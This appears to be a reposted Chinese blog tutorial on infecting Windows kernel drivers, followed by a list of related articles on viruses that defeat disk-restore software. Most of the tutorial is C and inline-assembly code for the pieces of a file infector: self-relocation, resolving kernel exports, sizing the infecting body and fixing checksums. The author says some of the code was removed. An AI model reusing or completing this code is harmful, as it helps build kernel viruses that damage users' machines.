驱动感染技术,可写穿透还原软件的病毒的技术

关于穿透冰点还原等还原软件的方法 几种破解冰点的办法 阅读详情

驱动感染技术,可写穿透还原软件的病毒的技术
用的正道上,可以写穿透还原软件的游戏更新软件!
标 题: 【原创】驱动感染技术扫盲(C描述)

上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。
好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
    call lbl_Next
lbl_Next:
    pop ebx
    sub ebx, 5
    sub ebx, offset Start

要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData]
那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:
/**
*@brief 取得全局变量或函数重定位后的地址
*
*@param[in]    pVar 全局变量或函数的地址
*@return 返回全局变量或函数的实际地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
  PVOID pCurAddr = NULL;
  __asm
  {
Start:
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    sub eax, offset Start
    add eax, pVar
    mov pCurAddr, eax
  }
  return pCurAddr;
}

访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表问题
得到ntoskrnl基址
大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下
nt!_DRIVER_object
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_object
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32    
   +0x030 DriverStartIo    : Ptr32    
   +0x034 DriverUnload     : Ptr32    
   +0x038 MajorFunction    : [28] Ptr32    

其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵

通过遍历这张表得到ntoskrnl的基址和大小,如下

/**
*@brief 根据驱动模块名返回对应的映像基址和映像大小
*
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pulModuleSize 返回驱动模块的大小

*@return 返回0表示失败,其它值是驱动模块基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
  ULONG ulModuleBase = 0;
  LIST_ENTRY *Entry = NULL;
  LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
  PDRIVER_object DriverObject = KGetGlobalVarAddr(g_pDriverObject);

  Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
  do
  {
    DataTableEntry = CONTAINING_RECORD(Entry,
      LDR_DATA_TABLE_ENTRY,
      InLoadOrderLinks);
    if (DataTableEntry->EntryPoint &&
      DataTableEntry->BaseDllName.Buffer &&
      DataTableEntry->FullDllName.Buffer &&
      DataTableEntry->LoadCount
      )
    {

      if ( !KWcsNiCmp(
        DataTableEntry->BaseDllName.Buffer,
        pwszModuleName,
        DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
        )
        )
      {
        ulModuleBase = DataTableEntry->DllBase;
        if (pulModuleSize)
        {
          *pulModuleSize = DataTableEntry->SizeOfImage;
        }
        goto Exit0;
      }
    }

    Entry = Entry->Flink;

  }
  while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);



Exit0:

  return ulModuleBase;
}
(注:也可以用上面的方法来枚举已经加载的驱动列表)


通过导出表取得函数地址

/**
*@brief 根据函数名返回函数对应的RVA地址
*
*@param[in]    pe PE对象
*@param[in]    Name 导出表内的函数名

*@return 返回表示失败,其它值是函数的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
  ULONG FuncRVA = 0;
  ULONG *puFuncNameAddress = 0;
  USHORT *puAddressOfOrd = 0;
  ULONG *puAddressOfFunc = 0;
  ULONG i = 0;
  USHORT Index = 0;
  PUCHAR pFuncName = NULL;
  ULONG FuncNameRVA = 0;


  PROCESS_ERROR(pe->pExportEntry);
  puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap);
  puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
  puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
  for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
  {
    Index = puAddressOfOrd[i];

    FuncNameRVA = puFuncNameAddress[i];
    pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

    if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
    {
      FuncRVA = puAddressOfFunc[Index];
      break;
    }

  }


Exit0:
  return FuncRVA;
}

/**
*@brief 根据内核映像初始一个PE对象
*
*@param[in]    Buffer 内核映像基址
*@param[in]    uFileSize 内核映像大小
*@param[out]  pe PE对象
*@return 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
  int    nResult = STATUS_UNSUCCESSFUL;

  if (!pe)
  {
    goto Exit0;
  }

  pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
  pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
  pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
    pe->pDosHdr->e_lfanew +
    pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

    0x18 + Buffer
    );

  pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
    );

  pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
    );

  pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
    );

  pe->IsInitSuccessed = TRUE;
  pe->pMap = Buffer;
  pe->uMapSize = uFileSize;
  nResult = STATUS_SUCCESS;
Exit0:
  return nResult;
}

/**
*@brief 根据函数名得到函数的地址,可以理解为GetProcAddress
*
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pszFuncName 函数名

*@return 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
  int    nRetCode = FALSE;
  ULONG  ulApiAddr = 0;
  ULONG  ulNtosBase = 0;
  ULONG  ulNtosSize = 0;
  KPELIB  pe;

  

  ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
  if (!ulNtosBase)
  {
    goto Exit0;
  }

  nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
  if(!NT_SUCCESS(nRetCode))
  {
    goto Exit0;
  }

  ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
  if (!ulApiAddr)
  {
    goto Exit0;
  }

  ulApiAddr += ulNtosBase;

Exit0:

  return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR  g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
);
其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^

3、感染体大小的取得
    我的解决方案是:
    在所有的代码和数据前面放置KGetStartAddr函数
/**
*@brief 取得当前函数的地址
*
*@return 返回当前函数的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    ret
  }
}
在所有的代码和数据前面放置KGetEndAddr函数

/**
*@brief 取得当前函数末的地址
*
*@return 返回前函数末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    add eax, 5
    ret
  }
}

感染体大小= KGetEndAddr() - KGetStartAddr()

4、把.data节和.text节合并
方法:
  把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text

5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败
从2000源代码里A出来的,具体看源代码
6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿


声明:
本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。


源代码说明:
代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事^_^
恶意软件分析实战:用火绒剑与IDA Pro逆向熊猫烧香病毒 恶意软件分析是网络安全领域的核心技术,其核心原理在于通过监控程序行为与逆向工程代码,理解恶意软件的意图、传播机制与破坏方式。这项技术的价值在于能够提前预警威胁、制定防御策略并溯源攻击者。在安全研究、事件响应与威胁情报等应用场景中,分析师常借助动态行为监控工具与静态反汇编工具的组合。例如,使用火绒剑(HipsMain)实时监控系统调用、文件与注册表操作,能清晰勾勒出恶意软件的**行为链**;同时,结合IDA Pro对样本进行**静态逆向**,深入剖析其感染逻辑、持久化机制与代码实现细节。本文即以经典病毒“熊猫 阅读详情

相关推荐

Cgroup对进程所占用的CPU与内存资源同时进行限制的测试

测试环境:Ubuntu。处理器数量:1CPU。内存大小:2048MB。 以下是测试程序mem_cpu_test.c的代码。 将mem_cpu_test.c编译为可以运行的程序mem_cpu_test。 运行程序,并用top命令查看mem_cpu_test所占用的系统资源情况,可以看到,mem_cpu_test使用了50%左右的内存资源,也就是1000MB左右,并占用了接近全部的CPU资源。 关闭以上的程序后,在Cgroup子系统memory和cpu下分别创建进程组test1和test2。 并设置tes

qq_44998067的博客 1153

ring3下穿透磁盘还原技术揭秘

在写这篇文章之前我犹豫了很久,到底要不要把这些鲜为人知的方法公开了,因为一 旦公开,被人掌握这些技术,那么还原软件的脆弱性则一览无遗,网吧的机子应该就可以 随便的穿透,机器狗是需要加载驱动来进行穿透还原,而我介绍的这种技术不需要加载驱 动则可以穿透还原,你是不是听的有点兴奋,有点热血沸腾;但是我还是要告诉你,技术 是一把双刃剑,利用的好是安全软件,利用的邪恶就是***、病毒等...

weixin_33743880的博客 903

从D触发器到8位SAR ADC:Cadence Virtuoso完整设计仿真指南

逐次逼近寄存器型模数转换器(SAR ADC)是混合信号集成电路中的基础架构,其核心是一个由D触发器构成的时序状态机。在数字电路设计中,D触发器常用于数据锁存、移位寄存和时钟分频,而在SAR ADC中,它恰好承担了节拍发生与结果寄存的双重角色。理解D触发器的工作机制,是掌握逐次逼近逻辑的关键前提。工程实践中,借助Cadence Virtuoso平台,可以从门级搭建SAR逻辑,并结合动态比较器与电荷重分配电容DAC,完成从原理图到瞬态仿真的全流程验证。通过FFT分析计算SNDR与ENOB,能够量化评估ADC的动

weixin_29178069的博客 285

一次电脑感染Synaptics Pointing Device Driver病毒的经历,分享下经验

不知道什么时候感染的病毒,搜索了下Synaptics Pointing Device Driver 是个感染型病毒,主要感染.exe和.xlsx文件,突然想起来之前有个excel文件打开后就变成xlsm格式文件,然后就打不开了。经过这次病毒感染和处理,之后下载软件别随便百度一个地址就下载,经常扫描电脑杀毒,看看有什么异常进程,尤其是开机变慢了,肯定有新的开机进程启动了。没想到作为使用电脑多年的老司机也会电脑中病毒,周末玩电脑的时候突然电脑很卡,然后自动重启,奇怪,之前没出现这个情况。再次扫描电脑硬盘正常。

sushengbuhuo的博客 4万+

Shell编程规范及变量

文章目录一.Shell脚本1.1Shell概述1.2Shell脚本 一.Shell脚本 1.1Shell概述 Shell是Linux系统中开机自动加载的一个特殊程序,它将用户输入的指令,转换成Linux内核可以识别的语言,从而让内核执行调用硬件。 Bash是Linux系统中默认使用shell的程序,它位于/bin/bash。 1.2Shell脚本 将需要执行的命令保存到一个文件中,按照顺序执行,它不需要编译,它是解释型的 ...

夏颜的博客 3676

51单片机IAP在线升级

51单片机IAP在线升级 爱矽半导体E85F3325单片机IAP在线升级教程,此处可查看更新及demo下载 文章目录前言一、ROM资源二、KEIL有关知识1.BL51连接器:2.LX51连接器:三、Keil其他相关项说明:四、MCU启动文件说明:五、例程BOOTLOADER使用说明六、例程使用可更改说明:七、程序使用通信方式:XMODEM八、APP程序说明九、APP代码升级说明十、代码合并烧写 前言 扩展-IAP 主要用于产品出厂后应用程序的更新作用 ,类似于其他引导装载升级程序的方法,在系统中必须始终

qq_42415953的博客 6667

感染型病毒风险提醒:官方渠道或成传播链之一

网络购物如今已经成为了大部分人生活中不可或缺的消费渠道,其中各个平台的“官方店铺”更是不少人心目中可靠的最优选,我们常常对其信赖有加,潜意识里觉得从这里购买的商品,连同附带的产品或软件都是安全有保障的。然而,近期发生的这起事件,给我们敲响了警钟:即使是来自正规渠道的软件,也可能暗藏风险。一旦电脑中了感染型病毒,会出现正常使用的软件被频繁报毒的情况。该种病毒为多年前的病毒,具有感染、传播、后门、发送邮件等功能,虽然其远控服务器与邮件账号早已不再响应或有效,但还是具有一定的危险性,能够对用户产生干扰。

huoronganquan的博客 758

预测股票价格趋势:使用MATLAB进行股票价格预测

通过收集股票数据、数据预处理、构建预测模型以及可视化结果,我们可以利用MATLAB强大的计算和分析功能来预测股票价格的走势。然而,需要注意的是,股票市场具有高度复杂性和不确定性,预测结果仅供参考,并不构成投资建议。然而,借助计算机编程和数据分析工具,我们可以利用历史股价数据来建立模型,并预测未来的股票价格走势。首先,我们需要获取股票的历史价格数据。完成模型的拟合后,我们可以使用该模型来进行未来股票价格的预测。最后,我们可以使用MATLAB的绘图功能将预测的股票价格与实际股票价格进行对比,并进行可视化展示。

2301_79326588的博客 1018

内核级HOOK的几种实现与应用

首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们 添加文章 English Version  文章分类  专题文章 漏洞分析 安全配置 黑客教学 编程技术 工具介绍 火墙技术 入侵检测 破解专题 焦点公告 焦点峰会  文章推荐  LSD RPC 溢出漏洞之分析 任意用户模式下执行 ring 0 代码 IIS的NSIISLOG.

ljtt的专栏 1227

PyTorch实战(13)——图卷积网络(Graph Convolutional Network,GCN)

图卷积网络 (Graph Convolutional Network, GCN) 模型能够同时结合节点级特征和图级(邻域)信息进行分类,显著提升了图数据建模能力,适用于节点分类、图分类等多种任务。本节中,我们通过 PyTorch Geometric 库在 CiteSeer 图数据集上构建模型,们首先用前馈神经网络作为基线模型完成节点分类任务,随后用 GCN 模型替代前馈网络显著提升了分类准确率。

盼小辉丶的博客 3262

【CC精品教程】iTwin capture倾斜摄影建模完整操作流程

【CC精品教程】iTwin capture倾斜摄影建模完整操作流程。包括:无人机航测外业作业流程(像控点布设、航线规划、仿地飞行、航拍)和内业数据处理软件(Pix4d、CC、EPS、PhotoScan、Globalmapper)像控点权重调配、空三加密、DOM、DSM、DEM,DLG生成、等高线生成、高程点提取,点云分类过滤分割、点云生成DEM、三维模型生成等。

智慧空间实验室 3959

穿透还原12.1新变种病毒样本

中毒现象:双击不能打开盘符,如果双击次数过多,通过任务管理器会看到很多cmd在执行。最后系统CPU占用过高,最后死机。右键点击C盘或D盘后,右键菜单第一项为AUTO或打开或自动播发等 ,在下面会再有一个open。千万不要选第一个,选底下的open,打开C盘。在窗口上面的菜单中选Tools--Fold Options--view---Hide Protected operating system

oscar999的专栏 1545

【WRF-Urban】Registry.EM_COMMON文件概述及urban有关变量

Registry.EM_COMMON文件概述及urban有关变量

WW、forever的博客 1594

机器狗病毒样本(穿透冰和点还原卡)

目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。顺便说一句,这个病毒从技术上来说,可以大胆的猜测应该是还原业内人士开发研制的,这种技术的应用极为少见,且如果精通这种技术的高手要做病毒不会用这种hook系统的磁盘设备栈的方式,完全

7851

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

机器狗病毒专杀软件

机器狗病毒      机器狗的生前身后  曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。      工作原理机器狗本身会释放出一

NewsTop的专栏 7087

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

机器狗病毒专杀和机器狗病毒样本研究

 转自 "The Savager Blog" ,原文链接:http://www.xiji.org/article.asp?id=420版权归原作者所有,转载请注明出处!机器狗病毒专杀和机器狗病毒样本研究:日前,一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐。此病毒通过 pcihdd.sys驱动文件抢占还原软件的硬盘控制权。并修改用户初始化文件userinit.exe来实现隐藏自身的目的。

编制者的专栏 2058

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐

一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐 日前,一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐。中科蓝光为了验证机器狗病毒的破坏性及是否对蓝光保护卡产品有威胁,组织了多次感染测试试验1在没有保护卡安装软还原的情况下运行机器狗病毒样本,发现该病毒通过局域网传播很快,修改各个重要系统文件使得系统启动...

weixin_33785108的博客 248

详解还原系统保护技术原理和穿透思路

以下内容来自网络 系统的还原点如果还原的时候不起作用了,还是还原时出了别的问题?难道系统还原只是一个摆设? 它究竟要如何使用,才能达到我们所想要的一种结果?使用还原系统环境的用户一般都不会安装其他的防护软件,一旦还原软件被穿透的话,会带来比较大的安全威胁。   还原系统技术原理  还原系统基本原理是磁盘设备过滤驱动。比较常用方法是自己会建一个磁盘卷设备,在harddiskX进行文件

Jack码•农的专栏 2536

穿透还原的工作原理分析(逆向工程)

穿透还原的工作原理分析(逆向工程)--机器狗 样本脱壳      OD加载样本explorer.exe,对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,退出CALL之后可以得到入口为 004016ED。     重新加载样

1636

重装系统都杀不掉的十大病毒

最近国内出现一种名叫谍影的电脑病毒,它寄生在主板BIOS芯片里,生命力极其顽强,无论重装系统,还是格式化硬盘,都无法把谍影病毒杀掉。 其实在电脑病毒历史上,类似谍影病毒一样打不死的小强还真不少。这也提醒我们,平时一定要勤打补丁,不要随便下载安装一些可疑来源的软件,更不能为了用外挂而关掉安全软件,否则很可能遇到顽固病毒,给自己的资料和账号带来损失。 重装系统也杀不掉的十大病毒盘点: ...

4890

奇虎郑文彬:还原系统保护技术原理和攻防

 奇虎郑文彬:还原系统保护技术原理和攻防3月19日,由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会进入第二天。包括微软、盛大、新浪等互联网界各大巨头的技术专家,学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自奇虎的反木马专家郑文彬,在现场发表演讲。以下为文字实录:郑文彬:大家好!我今天给大家介绍这几个方面:背景、还原系

唯一谣|Airs|走尽天涯路|极地阳光 3291

对还原系统技术的分析

系统的还原点如果还原的时候不起作用了,还是还原时出了别的问题?难道系统还原只是一个摆设? 它究竟要如何使用,才能达到我们所想要的一种结果?使用还原系统环境的用户一般都不会安装其他的防护软件,一旦还原软件被穿透的话,会带来比较大的安全威胁。   还原系统技术原理   还原系统基本原理是磁盘设备过滤驱动。比较常用方法是自己会建一个磁盘卷设备,在harddiskX进行文件过滤。过滤驱动如何做到还原?

zacklin的专栏 941

还原系统保护技术原理和攻防

3月19日,由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会进入第二天。包括微软、盛大、新浪等互联网界各大巨头的技术专家,学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。 来自奇虎的反木马专家郑文彬,在现场发表演讲。以下为文字实录:   郑文彬:大家好!我今天给大家介绍这几个方面:背景、还原系统技术原理概

1026

机器狗病毒

检测病毒的方法包括查看SYSTEM32目录下userinit.exe文件的版本信息和检查DRIVERS目录下的pcihdd.sys驱动文件。在HiPER设备上,可以使用高级配置中的业务管理功能,设置URL禁止和IP过滤,封掉相关病毒链接。在HiPER设备的WebUI中,通过高级配置管理组和业务策略,可以实现对特定IP或URL的屏蔽。通过检测和确认病毒的存在,采用物理隔离和系统恢复措施,结合网络设备的高级配置功能,进行病毒链接的屏蔽和IP过滤。若发现病毒,机器狗会自动从网络下载木马和病毒,危及用户账号安全。

m0_64918536的博客 422

穿透还原的工作原理分析(逆向工程)--机器狗

 文章末尾所添加的机器狗、IGM、写穿还原的工具(已可以被卡巴检测到是病毒)是在无敌小龙那里看到的,我加了个备用地址。 样本脱壳 OD加载样本explorer.exe, 对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用, 退出CALL之后可以得到入口为 004016ED。 重新加载样本,对004016ED下内存写入断点,中断后StepOver一步,然后在0

2916

奇虎郑文彬:还原系统保护技术原理和攻防

3月19日,由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会进入第二天。包括微软、盛大、新浪等互联网界各大巨头的技术专家,学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。 来自奇虎的反木马专家郑文彬,在现场发表演讲。以下为文字实录: 郑文彬:大家好!我今天给大家介绍这几个方面:背景、还原系统技术原理概览、流行还原系统穿透

2140
上一篇: 一种可以穿透还原卡和还原软件的代码
下一篇: VB.Net远程控制编程实例[鼠标钩子、 键盘钩子]
rainbowsoftware
博客等级 码龄20年 21粉丝 19原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值